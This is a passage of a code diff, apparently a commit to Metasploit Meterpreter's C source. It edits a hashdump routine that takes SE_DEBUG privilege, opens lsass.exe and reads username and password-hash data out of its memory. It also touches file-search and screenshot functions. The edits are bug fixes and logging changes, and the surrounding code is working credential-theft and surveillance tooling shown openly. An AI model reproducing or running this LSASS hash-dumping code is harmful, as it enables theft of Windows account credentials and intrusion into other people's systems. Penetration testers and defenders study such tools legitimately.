(fargs->pUsernameHashData)[dwStorageIndex].Username = (char *)pMalloc(dwUsernameLength);
|
||||
dwUsernameLength = (pEnumeratedUsers->pSamDomainUser[dwCurrentUser].wszUsername.Length / 2);
|
||||
(fargs->pUsernameHashData)[dwStorageIndex].Username = (char *)pMalloc(dwUsernameLength + 1);
|
||||
if ((fargs->pUsernameHashData)[dwStorageIndex].Username == NULL) { dwError = 1; goto cleanup; }
|
||||
for ( i=0; i < (dwUsernameLength + 1); i++ ) {
|
||||
(fargs->pUsernameHashData)[dwStorageIndex].Username[i] = 0;
|
||||
}
|
||||
|
||||
/* copy over the new name, length, rid and password hash */
|
||||
pWcstombs((fargs->pUsernameHashData)[dwStorageIndex].Username, pEnumeratedUsers->pSamDomainUser[dwCurrentUser].wszUsername.Buffer, dwUsernameLength);
|
||||
|
@ -493,14 +497,14 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
|
|||
/* calculate the function size */
|
||||
FunctionSize = (DWORD)sizer - (DWORD)dumpSAM;
|
||||
if (FunctionSize <= 0) {
|
||||
printf("Error calculating the function size.\n");
|
||||
dprintf("Error calculating the function size.\n");
|
||||
dwError = 1;
|
||||
break;
|
||||
}
|
||||
|
||||
/* set access priv */
|
||||
if (SetAccessPriv() == 0) {
|
||||
printf("Error setting SE_DEBUG_NAME privilege\n");
|
||||
dprintf("Error setting SE_DEBUG_NAME privilege\n");
|
||||
dwError = 1;
|
||||
break;
|
||||
}
|
||||
|
@ -508,7 +512,7 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
|
|||
/* get the lsass handle */
|
||||
hLsassHandle = GetLsassHandle();
|
||||
if (hLsassHandle == 0) {
|
||||
printf("Error getting lsass.exe handle.\n");
|
||||
dprintf("Error getting lsass.exe handle.\n");
|
||||
dwError = 1;
|
||||
break;
|
||||
}
|
||||
|
@ -539,7 +543,7 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
|
|||
|
||||
/* wait until the data is ready to be collected */
|
||||
if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0) {
|
||||
printf("Timed out waiting for the data to be collected.\n");
|
||||
dprintf("Timed out waiting for the data to be collected.\n");
|
||||
dwError = 1;
|
||||
break;
|
||||
}
|
||||
|
@ -565,17 +569,18 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
|
|||
for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
|
||||
UsernameAddress = UsernameHashResults[dwCurrentUserIndex].Username;
|
||||
|
||||
UsernameHashResults[dwCurrentUserIndex].Username = (char *)malloc(UsernameHashResults[dwCurrentUserIndex].Length);
|
||||
UsernameHashResults[dwCurrentUserIndex].Username = (char *)malloc(UsernameHashResults[dwCurrentUserIndex].Length + 1);
|
||||
if (UsernameHashResults[dwCurrentUserIndex].Username == NULL) { dwError = 1; break; }
|
||||
|
||||
if (ReadProcessMemory(hLsassHandle, UsernameAddress, UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].Length, &sBytesRead) == 0) { dwError = 1; break; }
|
||||
if (sBytesRead != UsernameHashResults[dwCurrentUserIndex].Length) { dwError = 1; break; }
|
||||
UsernameHashResults[dwCurrentUserIndex].Username[ UsernameHashResults[dwCurrentUserIndex].Length ] = 0;
|
||||
}
|
||||
|
||||
/* signal that all data has been read and wait for the remote memory to be free'd */
|
||||
if (SetEvent(hFreeLock) == 0) { dwError = 1; break; }
|
||||
if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0) {
|
||||
printf("The timeout pooped.\n");
|
||||
dprintf("The timeout hit.\n");
|
||||
dwError = 1;
|
||||
break;
|
||||
}
|
||||
|
|
|
@ -23,19 +23,19 @@ VOID search_add_result( Packet * pResponse, char * cpDirectory, char * cpFileNam
|
|||
|
||||
do
|
||||
{
|
||||
entry[0].header.type = TLV_TYPE_FILE_PATH;
|
||||
entry[0].header.length = (DWORD)( strlen(cpDirectory) + 1 );
|
||||
entry[0].buffer = cpDirectory;
|
||||
|
||||
entry[1].header.type = TLV_TYPE_FILE_NAME;
|
||||
entry[1].header.length = (DWORD)( strlen(cpFileName) + 1 );
|
||||
entry[1].buffer = cpFileName;
|
||||
|
||||
dwSize = htonl( dwFileSize );
|
||||
entry[2].header.type = TLV_TYPE_FILE_SIZE;
|
||||
entry[2].header.length = sizeof(DWORD);
|
||||
entry[2].buffer = (PUCHAR)&dwSize;
|
||||
|
||||
entry[0].header.type = TLV_TYPE_FILE_PATH;
|
||||
entry[0].header.length = (DWORD)( strlen(cpDirectory) + 1 );
|
||||
entry[0].buffer = cpDirectory;
|
||||
|
||||
entry[1].header.type = TLV_TYPE_FILE_NAME;
|
||||
entry[1].header.length = (DWORD)( strlen(cpFileName) + 1 );
|
||||
entry[1].buffer = cpFileName;
|
||||
|
||||
dwSize = htonl( dwFileSize );
|
||||
entry[2].header.type = TLV_TYPE_FILE_SIZE;
|
||||
entry[2].header.length = sizeof(DWORD);
|
||||
entry[2].buffer = (PUCHAR)&dwSize;
|
||||
|
||||
packet_add_tlv_group( pResponse, TLV_TYPE_SEARCH_RESULTS, entry, 3 );
|
||||
|
||||
} while( 0 );
|
||||
|
|
|
@ -190,7 +190,7 @@ DWORD screenshot( int quality, DWORD dwPipeName )
|
|||
SetThreadDesktop( hOrigDesktop );
|
||||
|
||||
// close the WinSta0 window station handle we opened
|
||||
if( hWindowStation )
|
||||
if( hWindowStation )
|
||||
CloseWindowStation( hWindowStation );
|
||||
|
||||
// close this last to avoid a handle leak...
|
||||
|
|
Loading…
Reference in New Issue